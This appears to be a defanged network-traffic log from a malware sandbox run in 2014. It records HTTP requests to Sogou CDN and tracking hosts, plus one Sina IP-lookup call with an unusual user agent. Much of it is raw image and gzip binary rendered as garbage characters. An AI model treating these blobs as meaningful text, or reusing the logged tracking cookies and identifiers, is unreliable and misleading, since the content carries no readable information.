Expires: Thu, 12 Jun 2014 04:49:32 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89a.......................................................................................................!.......,..........^...di....J... .k..O.......cT..t.F.A(...@ ...TN.Tz| .*......R....>..e.<R..A6.....D'..@..')'.#.!.;HTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Tue, 13 May 2014 04:49:32 GMT..Content-Type: image/gif..Content-Length: 225..Last-Modified: Wed, 15 May 2013 13:45:48 GMT..Connection: keep-alive..Expires: Thu, 12 Jun 2014 04:49:32 GMT..Cache-Control: max-age=2592000..Accept-Ranges: bytes..GIF89a.......................................................................................................!.......,..........^...di....J... .k..O.......cT..t.F.A(...@ ...TN.Tz| .*......R....>..e.<R..A6.....D'..@..')'.#.!.;..

GET /imgu/2014/05/20140508103513_537.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p4.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:23 GMT

Content-Type: image/gif

Content-Length: 21959

Last-Modified: Thu, 08 May 2014 02:35:13 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:23 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89ai......SSS.ww........\.......c;/.W...i......C.hhh.R......................................vE.....................-.......Z...bbb~~~.=.....]8....t...."*........dd.......A....S............%..............D..=....DDD.K.....kH.....h...................BB...)1.TZ........$$.SSJJJ.::...qqqdj..........\c..........4<......4vvv.,,.22.ZZ.......j ...................nn......ty.>>>....z\lll..........]#....KK.............qR.L$....f ............:B...x......................R,......yyyCJ............{.....b%-............mh...n7.....r...JQ.....a'.K..~O.6........}`.....c......lq....}............G.....R$.....p.E...b.....m~...V..^ .G...z..s.......vW.}Z.G.....P......~.Z0.............9..............D.@............yU.sM.@...i....77'/..>>.K..F.. ....\s..............XL.....w....,&..f.....h......!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:491CD10DA3D5E311A958EE854ABCD7D0" xmpMM:DocumentID="xmp.did:4C40E5B5D5E411E3B4278899C73C6A8E" xmpMM:InstanceID="xmp.iid:4C40E5B4D5E411E3B4278899C73C6A8E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9908CF

<<

<<< skipped >>>

GET /iplookup HTTP/1.1

User-Agent: mfc5002

Host: int.dpool.sina.com.cn

Cache-Control: no-cache

HTTP/1.1 301 Moved Permanently

Date: Tue, 13 May 2014 04:50:09 GMT

Server: Apache

Location: hXXp://int.dpool.sina.com.cn/iplookup/

Cache-Control: max-age=120

Expires: Tue, 13 May 2014 04:52:09 GMT

Content-Length: 246

Connection: close

Content-Type: text/html; charset=iso-8859-1

SINA-LB:aGEuMzguZzEuYngubGIuc2luYW5vZGUuY29t

SINA-TS:OTdjMmRlY2UgMjQwNSAyNDA2IDAgNiAyNwo=

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXp://int.dpool.sina.com.cn/iplookup/">here</a>.</p>.</body></html>...

GET /imgn/tips/skin_tips_n1.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p8.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:26 GMT

Content-Type: image/gif

Content-Length: 1779

Last-Modified: Wed, 20 Jun 2012 04:23:22 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:26 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89af.!../......Z..R.....K...........P.....Y.....}.........................................^...........S...........l.....W..L........m...........f.........................................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:01801174072068119109DDF35EE18454" xmpMM:DocumentID="xmp.did:B01789E6890511E18530B51A3723DDED" xmpMM:InstanceID="xmp.iid:B01789E5890511E18530B51A3723DDED" xmp:CreatorTool="Adobe Photoshop CS5 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:02801174072068119109DDF35EE18454" stRef:documentID="xmp.did:01801174072068119109DDF35EE18454"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!...../.,....f.!......pH,...$q.l:...4i.....vK<<...xL.1>..y.... ........k/2...(..........{.........B.$)..........{!......./....................

<<

<<< skipped >>>

GET /imgu/2014/05/20140512170407_319.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p8.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:32 GMT

Content-Type: image/jpeg

Content-Length: 5937

Last-Modified: Mon, 12 May 2014 09:04:07 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:32 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

......JFIF.............0Exif..II*.......1...............VVV.meitu.com....C....................................................................C.......................................................................=._...............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....|.-......d....Qg.u.Vz3......\..lD. .......hN........c.....s....mt....6...X73u.>.'8.v......i>.4w...V.R9..a.G....B.:..Zd..Sf.r%.5(.O........C1..A.:`.}.Z.&.B.OS...i..w...._..........o......u..7RQ. z. *.*...._...m....G..^4...[X......v.T...?&.i-...j.}^.....K.P.V..-...S.'.....,c.%...F...m...............A....Y.G8...WM*..q..,.y.9..../kB.jx...?.xg.w.....l.,.hnmgM.....v.V.]8%s.&.....j\)#..-....p.&9..z..J....e.....~8~..Z/.9...<..|V.K...(. .7x....<.mm..*.G.c..c...)...c.A..k........o...y....^;.|."...42k.u.....s....h.|..pk...I.rIBKV..#...a..u.W..|e...f...V.g...h.]Z...v.i...g'sq....q.y.I{._.}6.(....M.....E.5.-.B...4..........D^T}I. ..V.Yb%.....4.........3]K3.,...l.....C..c..g........w.?..<.....V x#..r.q.@........E..ua0...P..k.S...c......- I.<bMSP.C.......GB{._.c..n6.5...G..2........._..r...*.W.Wg....\.b.P....66...d...c.rJ......#.s.C.....O5....P.

<<

<<< skipped >>>

GET /v53/imgn/guide_tip.png HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:30 GMT

Content-Type: image/png

Content-Length: 10442

Last-Modified: Thu, 14 Nov 2013 11:00:56 GMT

Connection: keep-alive

Accept-Ranges: bytes

.PNG........IHDR.......J.......D.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh" xmpMM:InstanceID="xmp.iid:CEC0416D02FB11E388CB8B2E3040A42A" xmpMM:DocumentID="xmp.did:CEC0416E02FB11E388CB8B2E3040A42A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CEC0416B02FB11E388CB8B2E3040A42A" stRef:documentID="xmp.did:CEC0416C02FB11E388CB8B2E3040A42A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.Z....%<IDATx..].....&.(..."...ky......f...7..........W@%.`..@A.*(...P..;K......E|..;g.....?[....>.<.............i......h-....@_~.. _&.2%...<..........k......w.d./.....U 8..r./=|..9.{.P .IT.r.J.b].|...3|....../7....]1..=?..M]Y.f.....n...7l.:w......Vk?.gkk 8.z..........ps...^p........P-....Z..._.6l.....KWWW.jjj...........Q..P.~.|..Y..O......... .}...GI...3k..#......KS.....n..r.rm..../.....'JUUU..aIT....V......4...]P.......M.....Y..xju6...2...|.o3......?...>X\..V[[......}(//........o.CEM...f.N..Z.....O. ..7hU.qC=p&/........@.|'gA.1.>.$....{@t..P...um..A..8..].v.;..D.b.]..ss.

<<

<<< skipped >>>

GET /kan/static/css/DD_belatedPNG_0.0.8a-min.js?t= HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:22 GMT

Content-Type: application/x-javascript

Last-Modified: Tue, 27 Aug 2013 08:33:31 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Content-Encoding: gzip

b9b.............Y.o....=...}mH....yx....vZ.p..q...P,....*I...........#@Lrvvvv.ofW...g......Hx-...... ........UQ.emk kq.CQiA^j'..k..n.2_e....x.kg.o......:....W.:.K[;-..v.'.(A}..8.5.D.....D..<..oW....uaO...-./.8..e*..Q.....H.)&...*.3[.Y3._.....Y%|...R.#..9.n..JJ..f...%..Y...O.Dh....A.id.....*..O7|n,..T.e."......d%...9.fg.e..Z...m..m..L..4O_'..>;<.>...X...*...33N....a.7...?....a....A....J...=M..T./.'.`.y5....8....{.20T.P......M....UKc.g....7.&[..]y.Hyu..^.WyP....].0c...z_?&.}$D=T.v..|.:.Zj'..tV.<f,\......cwU.....93Y.~......4"....O.8....U....!t.l9..e..~.....F..c.:.o...\...Zh....>..kWD..F...D...._%.w...06rs.&V./.&.y..#m.Vy../FS...b..)..g.H.%....n.,..Bs..t[}.........h.....s....B.......~....EFZ.E..z.;...G..'.Y.qV.?....;..%:o...........n.A.....^...y....[R.*.`.......I.3.. .U.x2W.....J..W....B..g..*....5.s.!.^4.. `{^z........h.....e.(Fc=B(..E..p.]c....R.eD...k.A:y...nd..c.Ã..z..Mr..-..:..L....&...W....z:7..d....d.)Gw.x..~5;..qR#..U.7.....H......{...v..)...I..v../....G6....yV....[..Ql....>.|}...a.dnn..f..|fL...'h......*J.'.W.d..(M. W[w8v.0..qY.....w@..d...b_....Z.........s....#!...(c..d...<.........$.....Y...:Z..... ..y..]....K)*.O.q.C=*.$..q.Gf.....*WY.......Z<..c.3.._`LDj....`.jDj..\0....<...xy.xN}..LK.G..5..3....5...|.3CS...,|.6...*.d...X).....Q6.BlQ.A...}....:.W..q......ad8bc.p.......n..;e.<L0 d....w...OG..<D....'..m....3.Q.....K=6.kK..5.....M.3..w.Z......[....#...N\.G$F.!.KS../y.:s......[.).c..h'uc....V`...(...@....../..j...."..C....pB.!.....f.Px.r..[p...R.......b..]u.I%.6|.NAXs.

<<

<<< skipped >>>

GET /imgn/v32/icon4.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:22 GMT

Content-Type: image/gif

Content-Length: 1506

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Accept-Ranges: bytes

GIF89a".....................v.....Cs.`}..................................I{.b...........................................................U..m..r..........................M..Z..............................................................................................................................................................................................................mmm^^^QQQ777......!.....~.,....".......~....................................................................dKG8HINi.];K.D.kUMJ[.LG`....DIa.O9c.o|z.bKL.i8p.zy{x..G..OL....'@.>w.Y.....ox..).n..:..(.....oz...........XB.......9.3@.'...........5..H...5....m..HNk...4.... uYR...7.....Rj./J.H..d...p....d....5.(ybi..%<..f....Lk.4Y..M....<I..G..T2.eB%.. I.X..dI..T.R...m.6J.H...M.<?....CR..w~...T...<F?r....v...<.Rk....D.}<..1..<9........y..9t;z..S...B.....mU..1Ga.T.L...B...];..p.t....$r(..Oz...Ou8..$[...[d...%[ 1@M~.0.%T ..`N.....`....5aE}..)...,P..H&YD.%E...[,.@I.f....%.`C...`.......%..B.!x....,9..%. '.jv.A.a......y....)..}.`'..P...t.z(..4..76t.C.Y.P..If....h...=dP...0`*........*...d.@...ZA......)...$.Lq...&.....`@...p.."..A.!..B.S....)D;.....m.1L1A....n$.L...$@...>L....x..$).a(..L.........>B........H.....(..$...A..lp.....B..4...Pp..."D ..&k.r#.....<C...SL1...F....P.4.L7....F-.....@. 4.B...#p....dp...p`..S@1E.?..@%g..A.2....P.....4.@.'.PC.1....P.p.......z.^..!.....H2A....w.&.@.. L.B......&......`...BrC.f@..."....&<.)$u....g.....,.@..L.@..CP;..@ ..3Lr.?.=.`...h....,`v.).....: ...B^...,0...0..R...\b..PA.R`..xbkT

<<

<<< skipped >>>

GET /v53/imgn/v53_2icos.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:23 GMT

Content-Type: image/gif

Content-Length: 2051

Last-Modified: Thu, 14 Nov 2013 11:00:56 GMT

Connection: keep-alive

Accept-Ranges: bytes

GIF89a)....................8Y....................1..v...........=..............z....................e........J........}.................8..j..............u.................r.....Q..............C.................k...........L.............................................................................................................................................................................!.....N.,....).......NN5....................N.?N...........I.>.=......@..0.........N......-.......................<*........A..G.%:......#%% .C.......].....I!JP.....I..a.8....A$.3..B.H.$N\.a %#.#......I4L)..k...&O........{.(7.fN.:(P.pO.C.!..,.j.....D.'..6.G'A........u-z",..H....q...W.LI]d...J7..8. .O.x.*..l....Tl...... ..m<a.$.J...d..a...J...s$.$H..e..$^..9...D.........[k.`.Jbs.qk..nj..Yt........n...c.......uE'.c..n.Q_b.....)..x....d.....6e..V.)._c..'....W`...._{.}E.$.` ........,.....@..,.....)..W.M ..-....B.8#&..)...y..#..gb.#.|.. K6..*IJ.....R.3U:.%#..Rer_....P.8.9c.X...8..#_..&.jN.'B>..g.$....G...P1..&0.........MTIb. ....M8!.h........*.y`yZ.|.xG.Q6.)k.6.:J_..y.X}....-\..o.05k..L..)...........v.)..HK.H.....J.....4[.c.*Bn..9.^...[.xw.;...bGo......h.{o...[.%..Xo#...^..d S......~..r...*\....._.......@.b..&F...m...9.h..0..".*.(...:.....s..,..2.....!..l.#N.....4y..S32% cr..-bV.,...S.....6.....wn.9&.;LP7..a.wMlVy...W:....0..<. ../.2x{...(%V.[B.PM..TGu.yV.....$z^9v.J".....@.:0EB....:. ...]".PW....`.......PP..p..D.%..|...e..>)al....=.._.%...z..O...n..J.B.........>.....B....62....C.h.k....<@.....B.A...5..

<<

<<< skipped >>>

GET /v53/imgn/v53_arrow_h.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:23 GMT

Content-Type: image/gif

Content-Length: 1036

Last-Modified: Thu, 14 Nov 2013 11:00:56 GMT

Connection: keep-alive

Accept-Ranges: bytes

GIF89aQ.}..........1..b.......................C.....t.............................G...........j........}..T..................................................................................................!.....).,....Q.}........(....r.l:...0E.Z...v..z...xL.o...z}-..p.;N.W.......&. .z.waZ........z|W.........#.v.W.X!...u.)..Z$.$.q....\...{.U....[...j.....Z..........[....d...\....f...[. .i.).!X..e.....).......]Q0.........%..@$"(.8....t.b..q#.......e...C..\..%..B..|.sK..NPz..E.......8s....T..R.q.SYO9:..u...U?^......k.j.J...Bb..%....H`...jv......i...Z...~.\O.R..*x.B..R...(V..L..]4..<./.5."...q.d.....@ sT........k1..W.R[N...ws....p9.../n....Y.3'C....b*D..8M.........w......PM...N..-.}......b.~....w.}..h....WE}...`...W`9`=.!.U1x.n....\.]h.TU.". ."2.Z..aXF.m<U.s.)7..Z.H..Z...R..H..d...........6b]D...i....^U.x.`P.yW.m.uT..eya.t..#Gf...aj..Q......V..d.^....brE..|..e.y....".D.N>....C...N9E..M..1.I..*....j...r.. ...E".-...ZPb.&.pBk...@J....k.... -.l.....#........0..4.jP.5.\.-...#N.....:..#)@<..k.=.......K.A.....V8..D..,....l... ...;....

GET /ads_hz/_ads_2.js?t=777753 HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:24 GMT

Content-Type: application/x-javascript

Last-Modified: Tue, 13 May 2014 04:30:03 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Content-Encoding: gzip

c11.............Y.s.H..W..=,- $0. ...v.W%.W.l.na.%.H(. z......G/ .....h.=3.....-;y8..(...' .B.e.......d.3*.i&.;Ag.q......tme\V.......py..eKi.....y..L.G....u.......s9P....la...._......_...b/.)H.j.....c.x. ..P...k.......B...."I.E.f....~.$Ul.....`!L#.o6.H.{....\yIx.'.T..an|N..^....[.MOfi.?1e.a..H.............:..y..U1.......Y.X.I..l..I..p.f..L.....v.@y....M.....$5....E.......2.s..V.J_..eh..Q......=..]....W..v*.9&[dY<.....Fn.C.A/~R].....S..q.-..`........Yv...`.{....r.<...~d.&5x.D.hY.(...{...t$....S.{.<..NJ..);mv.{n..'....l3w.......8[..h.#.h%.#!..Z^..|.%.i..^c.k?b........._.../h.v...i.......[.i%.....M...\.(.}/..{...[.N......u84..........v.X.2...^....wGf....#...p...Z....U..i>K.D.: ...0.z...L....l...U......`M.. y.T..m.v..Z.......D..M...&e]F`D..3.yre...V..l..)..L..m...L1...Fy........Z....^]V.l.."@(/ U.\....d...p.R=.sc..;|..s%.....d."......m.....6.d...N...H.~..Ck....jcW.qY..\'v.Uj...0.S.~.R..7.\x.#..;..N.4..m..r..Z{ny...o..a.7)...f.......?..~..:.......c.....J}...z'.%..I.pef...."....{.#......_.......W$%....V.....| |d....y.....Cv...........\..j.b..Z..s..b..u...".....A;%....cZk....8...L.o..V^...V......w0f[...D....P*.s.w...H.W...w'.[...B..#.oe...C.F.*4...RP.....(..)0{.F.x..P.i..)....../.....dLv.\........z....30.9.]f..g..,..~X.8..xf...$.C.9O|.........B..y.....6._m....p..>..O)8 ...!.b...0fL... .o..J......'W5..-.5...*n@.?R..4X..XQf V...Z...Q.PV.E1...E`.........J.}F.....W.ir.6.....\.u........."..(t{...zV...../......x2O...:..|....'...(Q..'....E~..x#...z.(.d..........h...3.....M..I".3 .uZ...U7]._....:....d[.e.#.YX..

<<

<<< skipped >>>

GET /imgn/v32/selogo_111207.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p4.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:23 GMT

Content-Type: image/png

Content-Length: 12155

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:23 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

.PNG........IHDR...a...?.....V.......pHYs................OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE...........Q,......!.........{.k........>...........H3Q5...B..........@..$p....d!s.#...~<< ".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I. .6a.a.@..y..2.4..............x.....6..._-...."bb.....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<......$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?....D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/.@.4.Qh..p...U..=p..a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9., .......3...!.[..b@q..S.(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._... .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).)..4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC].@C.a.a......<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......

<<

<<< skipped >>>

GET /imgn/v32/fbg_about.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p4.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:25 GMT

Content-Type: image/png

Content-Length: 3580

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:25 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

.PNG........IHDR.............&u2.....pHYs................OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE...........Q,......!.........{.k........>...........H3Q5...B..........@..$p....d!s.#...~<< ".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I. .6a.a.@..y..2.4..............x.....6..._-...."bb.....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<......$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?....D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/.@.4.Qh..p...U..=p..a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9., .......3...!.[..b@q..S.(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._... .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).)..4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC].@C.a.a......<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......

<<

<<< skipped >>>

GET /pv.gif?uigs_productid=ufo&ufoid=ads&ptype=ads&pcode=ads&rdk=1399956570071&img=extra.gif&yyid=&ssuv=&m=&loc=&module=show&tag=62 HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pb.sogou.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:25 GMT

Content-Type: text/xml

Content-Length: 0

Connection: keep-alive

Set-Cookie: SUV=0033227BC18AF4E75371A455E4AD7518; expires=Fri, 10-May-24 04:49:25 GMT; domain=.sogou.com; path=/

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

....

GET /pv.gif?uigs_productid=ufo&ufoid=wan&ptype=jztf2&pcode=index&rdk=1399956570103&img=pv.gif&sourcelist=0011000100006_0011000100007_0011000100008_0011000100009_0011000100010_0011000100011&titlelist=风云无双_仙侠道_暗黑屠龙_Sogou傲剑2_万世_大闹天宫OL HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pb.sogou.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:25 GMT

Content-Type: text/xml

Content-Length: 0

Connection: keep-alive

Set-Cookie: SUV=00461146C18AF4E75371A4556E6A4053; expires=Fri, 10-May-24 04:49:25 GMT; domain=.sogou.com; path=/

